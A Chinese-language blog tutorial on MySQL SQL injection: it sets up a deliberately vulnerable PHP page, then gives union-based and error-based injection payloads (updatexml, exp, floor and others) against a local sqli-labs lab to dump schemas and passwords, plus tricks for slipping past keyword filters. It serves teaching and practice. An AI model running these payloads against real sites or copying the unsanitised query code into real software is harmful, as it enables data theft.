前言
小tip
固然有用,但是掌握通用方法才能在特殊環境下柳暗花明,舉一反三
整篇博客從MYSQL_SQL_BYPASS_WIKI為基礎出發,討論SQL注入和bypass技巧思路(大部分都是直接照搬的hhh)
MySQL數據庫簡單操作
建立數據庫
mysql> create database sqlvul;
Query OK, 1 row affected (0.00 sec)
查詢所有數據庫
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| autumnwater |
| dedecmsv57utf8sp2 |
| miku_cms |
| my_demo |
| mysql |
| performance_schema |
| qqfishing |
| sqlvul |
| szhescan |
| test |
+--------------------+
11 rows in set (0.00 sec)
紅框中是我們剛才創建的
使用數據庫sqlvul
新建一個user
表
mysql> use sqlvul;
Database changed
mysql> create table user (id int,username varchar(255),password varchar(255));
Query OK, 0 rows affected (0.04 sec)
查看數據庫表
mysql> show tables;
+------------------+
| Tables_in_sqlvul |
+------------------+
| user |
+------------------+
1 row in set (0.00 sec)
查看數據庫表結構
mysql> desc user;
+----------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id | int(11) | YES | | NULL | |
| username | varchar(255) | YES | | NULL | |
| password | varchar(255) | YES | | NULL | |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.01 sec)
插入數據
mysql> insert into user (id,username,password) values (1,"admin","admin");
Query OK, 1 row affected (0.00 sec)
查詢user
表數據
mysql> select * from user;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
where
條件查詢
mysql> select * from user where id=1;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
有了這些基礎知識並進行手動操作后,我們可以先在本地搭建一個擁有上述數據庫的漏洞環境,漏洞代碼test.php
為
<?php
if($_GET['id']){
$id= $_GET['id'];
$conn = mysql_connect('127.0.0.1','root','root');
mysql_select_db('sqlvul',$conn);
$sql = "select * from user where id=$id";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "id: ".$row['id']."</br>";
echo "username: ".$row['username']."</br>";
echo "password: ".$row['password']."</br>";
}
mysql_close($conn);
echo "</br>"."sql :".$sql;
}else{
echo "id,get,懂?";
}
?>
這樣一個簡單的漏洞環境就搭建好了
http://127.0.0.1/test.php?id=1
默認表名解讀
之前某公司的面試題里有:
mysql5以上和以下有什么區別?
其中一個明顯區別就是information_schema
這個表(視圖)是在MySQL5以后的才有的,現在MySQL4應該是很少了,所以后面的例子都圍繞着MySQL5來講解,information_schema
是用於存儲數據庫元數據的表,它保存了數據庫名,表名,列名等信息,讓我們從爆破表名到了可以直接查詢。
這里打住一下,如果不存在該表或者該表被禁用,我們可以使用布爾注入
或者時間盲注
來爆破表名
我們查詢information_schema
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
| INNODB_BUFFER_PAGE |
| INNODB_TRX |
| INNODB_BUFFER_POOL_STATS |
| INNODB_LOCK_WAITS |
| INNODB_CMPMEM |
| INNODB_CMP |
| INNODB_LOCKS |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_RESET |
| INNODB_BUFFER_PAGE_LRU |
+---------------------------------------+
40 rows in set (0.00 sec)
我們經常用到的幾個表:
- schemata表:提供了當前mysql實例中所有數據庫的信息
- tables表:提供了關於數據庫中的表的信息
- columns表:提供了表中的列信息
schemata
mysql> select * from information_schema.schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def | information_schema | utf8 | utf8_general_ci | NULL |
| def | autumnwater | utf8 | utf8_general_ci | NULL |
| def | dedecmsv57utf8sp2 | utf8 | utf8_general_ci | NULL |
| def | miku_cms | utf8 | utf8_general_ci | NULL |
| def | my_demo | utf8 | utf8_general_ci | NULL |
| def | mysql | utf8 | utf8_general_ci | NULL |
| def | performance_schema | utf8 | utf8_general_ci | NULL |
| def | qqfishing | utf8 | utf8_general_ci | NULL |
| def | sqlvul | utf8 | utf8_general_ci | NULL |
| def | szhescan | utf8 | utf8_general_ci | NULL |
| def | test | latin1 | latin1_swedish_ci | NULL |
+--------------+--------------------+----------------------------+------------------------+----------+
11 rows in set (0.00 sec)
tables
(太多了只截了一部分
mysql> select table_name from information_schema.tables;
+----------------------------------------------+
| table_name |
+----------------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
columns
(太多了只截了一部分
mysql> select column_name from information_schema.columns;
+----------------------------------+
| column_name |
+----------------------------------+
| CHARACTER_SET_NAME |
| DEFAULT_COLLATE_NAME |
| DESCRIPTION |
| MAXLEN |
| COLLATION_NAME |
| CHARACTER_SET_NAME |
| ID |
| IS_DEFAULT |
| IS_COMPILED |
| SORTLEN |
| COLLATION_NAME |
| CHARACTER_SET_NAME |
| TABLE_CATALOG |
| TABLE_SCHEMA |
| TABLE_NAME |
| COLUMN_NAME |
我們前面說過information_schema
儲存的是所有數據庫的信息,假如我的數據庫 mysqltest1
mysqltest2
都存在admin表的話 它都會顯示出來
mysql> select column_name from information_schema.columns where table_name=0x61646D696E;
+-------------+
| column_name |
+-------------+
| id |
| username |
| password |
| id |
| user |
| pass |
+-------------+
6 rows in set (0.00 sec)
所以要指定數據庫
mysql> select column_name from information_schema.columns where table_name=0x61646D696E and table_schema=0x6D7973716C74657374;
+-------------+
| column_name |
+-------------+
| id |
| username |
| password |
+-------------+
3 rows in set (0.00 sec)
user
表保存的用戶賬號密碼
mysql> select username,password from sqlvul.user;
+----------+----------+
| username | password |
+----------+----------+
| admin | admin |
+----------+----------+
1 row in set (0.00 sec)
特殊符號
mysql中數據一般用一些符號包裹起來,如:
mysql> select * from user where id=1;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
mysql> select * from user where id='1';
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
常用到的特殊符號有:
''
""
()
{}
\
\\
``
%
每個符號都是我們后期用來bypass
的有利鋪墊,例如
mysql> select * from `user`;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.07 sec)
注釋符號
mysql
中的注釋符號
#
/**/ /*/**/ 這樣是等效於 /**/
-- + 用這個符號注意是--空格任意字符
;%00
`
/*!*/ 內列注釋為什么放在這里呢,因為它也可以當作一個空格 /*!/*!*/是等效於/*!*/的
操作符與邏輯操作符
取自官方文檔 排列在同一行的操作符具有相同的優先級
:=
||,OR,XOR
&&,AND
NOT
BETWEEN,CASE,WHEN,THEN,ELSE
=,<=>,>=,><=,<,<>,!=,IS,LIKE,REGEXP,IN
|
&
<<,>>
-,+
*, /, DIV, %, MOD
^
- (一元減號), ~ (一元比特反轉)
!
BINARY, COLLATE
注入產生的原因
- 程序在開發的時候沒有對用戶的數據過濾,把用戶的數據都當作可信數據
- 考慮到用戶可能的危險輸入並進行了過濾,但是過濾不嚴格
- 數據庫配置不當,例如字符編碼不一致導致的寬字節注入
- 轉義不當
注入的類型
常見的注入我們可以歸納為數字型,字符型,搜索型,盲注等
select * from user where id=$id;//數字型注入
select * from user where id='$id';//字符型注入
select * from user where id="$id";
select * from user where id = ($id);
select * from user where id = ('$id');
select * from user where id = ("$id");
select * from user where username like '%adm%';
select * from user where username like ('%adm%');
select * from user where id = $id limit 0,1;
select * from user order by $id;
select * from user order by limit 0,1 $id;
select * from user order by id limit 1,1 $id;
insert注入
update注入
delete注入
二次注入
等等
實際環境中我們可能還會遇到更為復雜的sql注入語句,我們就要想辦法閉合它們。
尋找注入的一些注意
如何尋找注入是一門藝術
黑盒測試建立在對每個參數的fuzz上
- 適當學習開發對於發現漏洞更有幫助
- 涉及到用戶交換數據的地方都將是注入的重災區
- 當網站為成熟的cms框架時不建議直接黑盒注入,通殺0day往往是在白盒審計下找到的,當然知道cms版本的情況下更好的方法是直接搜索漏洞
- 不知名系統,目標不是很重要,自己開發的系統,可以嘗試使用AWVS等掃描工具
- 信息搜集的重要性不必多說,無論是github代碼監控還是敏感備份文件掃描發現都可能帶給我們意外之喜
版本收集與路徑
識別數據庫版本有助於我們進一步對數據庫進行注入
可以用到
version()
@@version
/*!版本號*/
/*!*/
意為在xxx版本之上執行
union
操作符用於連接兩個以上的select語句的結果並將其組合到一個結果集合中,多個select語句會刪除掉重復的語句
mysql> select * from user where id=1 union select 1,version(),3;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
| 1 | 5.5.53 | 3 |
+------+----------+----------+
2 rows in set (0.09 sec)
mysql> select * from user where id=1 union select 1,@@version,3;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
| 1 | 5.5.53 | 3 |
+------+----------+----------+
2 rows in set (0.02 sec)
mysql> select * from user where id=1 union select 1,/*!50000 user()*/,3;
+------+----------------+----------+
| id | username | password |
+------+----------------+----------+
| 1 | admin | admin |
| 1 | root@localhost | 3 |
+------+----------------+----------+
2 rows in set (0.02 sec)
路徑的話一般用@@datadir
,根據日常規律大概反猜下網站路徑
操作系統@@version_compile_os
用戶與鏈接信息
system_user()
//系統用戶名
user()
//用戶名
current_user()
//當前用戶名
session_user()
//鏈接數據庫的用戶名
mysql> select * from user where id=1 union select system_user(),user(),current_user();
+----------------+----------------+----------------+
| id | username | password |
+----------------+----------------+----------------+
| 1 | admin | admin |
| root@localhost | root@localhost | root@localhost |
+----------------+----------------+----------------+
2 rows in set (0.01 sec)
mysql> select * from user where id=1 union select session_user(),2,3;
+----------------+----------+----------+
| id | username | password |
+----------------+----------+----------+
| 1 | admin | admin |
| root@localhost | 2 | 3 |
+----------------+----------+----------+
2 rows in set (0.00 sec)
讀取host 和 user
mysql> select * from user where id=1 union select 1,host,user from mysql.user;
+------+-----------+----------+
| id | username | password |
+------+-----------+----------+
| 1 | admin | admin |
| 1 | 127.0.0.1 | root |
| 1 | ::1 | root |
| 1 | localhost | root |
+------+-----------+----------+
4 rows in set (0.07 sec)
通過以上信息還能大概判斷下是不是站庫分離之類的
站庫分離
web應用與數據庫不在同一台服務器上
初識注入bypass
推薦使用sqli-labs
來進行注入練手,手工注入是基礎,切勿浮沙築高台
直接使用and 1=1
一類的多屬於數字型注入
mysql> select * from user where id=1 and 1=1;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.01 sec)
mysql> select * from user where id=1 and 1=2;
Empty set (0.00 sec)
被引號包裹起來就不行了
mysql> select * from user where username='admin and 1=1';
Empty set (0.01 sec)
mysql> select * from user where username='admin';
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
需要通過分析報錯的語句來進行判斷和閉合
第一個注入
and
是一個邏輯符號,要求兩邊同時成立,所以and 這邊是什么可以盡情發揮大家的才能,比如 and true=1
為什么要這么寫,因為某狗判斷的就是 and 這邊的字符類型,大家可以去了解mysql的隱式轉化
mysql> select * from user where id='1' and 1=1;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
mysql> select * from user where id='1' and 1=2;
Empty set (0.00 sec)
sqli-labs第一關
看到報錯語句
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
其中關鍵部分為:
right syntax to use near ''1'' LIMIT 0,1' at line 1
最外層是它出錯給你的字符串,所以為:
'1'' LIMIT 0,1
我們的payload
為?id=1'
應該是單引號沒閉合所以造成了出錯,同時知道它語句后面有個LIMIT 0,1
所以反推后端查詢語句大概為
select x,x from xxx where x='$id' limit 0,1
在看到報錯信息的時候我們應該要能夠反推它的語句,有利於我們進一步注入,接下來進行聯合注入
使用order by
判斷它的列數,因為order by
是根據列來排序的,排序第幾列
關於 order by排序
因為原文中沒有太仔細說這個地方,為了讀者方便理解,專門說一下
在菜鳥教程關於order by
子句進行排序的時候,使用的是該列的關鍵字
mysql> SELECT * from runoob_tbl ORDER BY submission_date ASC;
+-----------+---------------+---------------+-----------------+
| runoob_id | runoob_title | runoob_author | submission_date |
+-----------+---------------+---------------+-----------------+
| 3 | 學習 Java | RUNOOB.COM | 2015-05-01 |
| 4 | 學習 Python | RUNOOB.COM | 2016-03-06 |
| 1 | 學習 PHP | 菜鳥教程 | 2017-04-12 |
| 2 | 學習 MySQL | 菜鳥教程 | 2017-04-12 |
+-----------+---------------+---------------+-----------------+
4 rows in set (0.01 sec)
這里是按照submission_date
列的升序排列
當然我們也可以不使用列名,直接使用該列在表中的列數,如submission_date
對應的就是第4列
SELECT * from runoob_tbl ORDER BY 4 ASC;
如果沒有這一列的話使用order by
語句就會報錯,由此來判斷數據庫中的列數,進一步注入
mysql> select * from user order by 3;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin |
+------+----------+----------+
1 row in set (0.00 sec)
mysql> select * from user order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
回到sqli-labs
第一關
http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,schema_name,3 from information_schema.schemata limit 2,1 -- +
通過limit 0,1
來控制前端的顯位的數據(從第0條取一條)
如果是過濾逗號,想用分頁可以使用 1 offset 1,意思是從第一條開始選一條
當然還有 join 分頁
mysql> select * from user union select 1,schema_name,3 from information_schema.schemata limit 1,1;
+------+--------------------+----------+
| id | username | password |
+------+--------------------+----------+
| 1 | information_schema | 3 |
+------+--------------------+----------+
1 row in set (0.01 sec)
mysql> select * from user union select 1,schema_name,3 from information_schema.schemata limit 1 offset 1;
+------+--------------------+----------+
| id | username | password |
+------+--------------------+----------+
| 1 | information_schema | 3 |
+------+--------------------+----------+
1 row in set (0.00 sec)
sqli-labs
的payload
http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +
如果想要直接爆當前庫的表,不妨寫
table_schema=database()
為了避免單引號你也可以使用hex后的數據
table_schema=0x7365637572697479
使用group_concat()
函數把表名都聚合起來,更加方便
http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 -- +
爆出字段
http://127.0.0.1/sqli/Less-1/?id=-2' union select 1,group_concat(username,0x7C,password),3 from users-- +
如果group_concat()
被過濾,我們可以使用其他類似的函數來進行替換,可以查閱mysql
函數表
當我們使用information_schema.schemata
被攔截時,我們可以使用前面提到的符號們組合繞過
`information_schema`.`schemata`
information_schema/**/.schemata
information_schema/*!*/.schemata
information_schema%0a.schemata
也有人遇到過這種情況 users表被攔截 怎么繞過呢,其實也一樣
security.users 數據庫名 加表名
security.`users`
報錯注入
報錯注入在我們不能聯合注入的時候也是非常重要的,網上給我們提供了很多種報錯注入,這里直接引用
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
一文了
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
每個報錯語句都有它的原理,比如exp()
報錯的原理,手冊說到exp()
時一個數學函數,取e的x次方,當我們輸入的值大於709就會報錯,然后~取反它的值總會大於709所以報錯
exp()函數報錯原理
可以參考王嘆之師傅的這篇文章
簡單說明一下
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
超過709就會報錯
接下來有兩個重點:
- 將0按位取反就會返回
18446744073709551615
,得到最大的無符號BIGINT值 - 函數成功執行后返回0
mysql> select ~(select user());
+----------------------+
| ~(select user()) |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
mysql> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
所以出現了上述的執行結果
接着來解釋一下payload exp(~(select * from(select user())a))
- 先查詢
select user()
這里面的語句,將這里面查詢出來的數據作為一個結果集 取名為 a - 然后 再
select * from a
查詢a ,將 結果集a 全部查詢出來,這里必須使用嵌套,因為不使用嵌套,不加select * from
無法大整數溢出
簡單的用報錯語句來注入一下,這里使用函數updatexml()
updatexml (XML_document, XPath_string, new_value);
XML_document: 是String格式,為XML文檔對象的名稱,文中為Doc
XPath_string : Xpath
new_value :String格式,替換查找到的符合條件的數據
其中關鍵點就是XPath_string
這里,因為我們傳入的不是XPath_string
,而是我們想要獲取到的數據。
為什么要用到concat
這個函數,因為它時一個連接函數,可以不用,例如(updatexml(1,(select user()),1))
,但是需要字符中有特殊字符才會報錯,同時它會被中間的特殊字符截斷,所以需要用到concat
將它連接起來
updatexml報錯原理
可以參考上面的王嘆之師傅的文章
簡單來說是由於參數的格式不正確而產生的錯誤,同樣也會返回參數的信息
例如payload updatexml(1,concat(0x7e,(select user()),0x7e),1)
這里的~
符號也就是0x7e
,也是我們前面所提到的報錯的特殊字符
sqli-labs
第一關報錯payload
爆庫:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +
爆表:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆數據:
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, password,0x7e) from users limit 1,1),1) -- +
在報錯里面直接使用mysql最基本的查表即可,也可以將concat
放在外面
updatexml(1,concat(0x7e, (select password from user limit 1,1),0x7e),1)
因為使用了concat
連接函數,所以只能爆出32位數據,其中有一位還是0x7e
,即引發報錯的字符,實際上出現的密碼只有31位
mysql> select updatexml(1,concat(0x7e,(select md5(password) from user),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~21232f297a57a5a743894a0e4a801fc'
可以自行使用分割函數將數據分割出來
substr(string string,num start,num length);
string為字符串
start為起始位置
length為長度
http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e, substr((select md5(password) from users limit 1,1),1,16),0x7e),1) -- +
下回繼續分解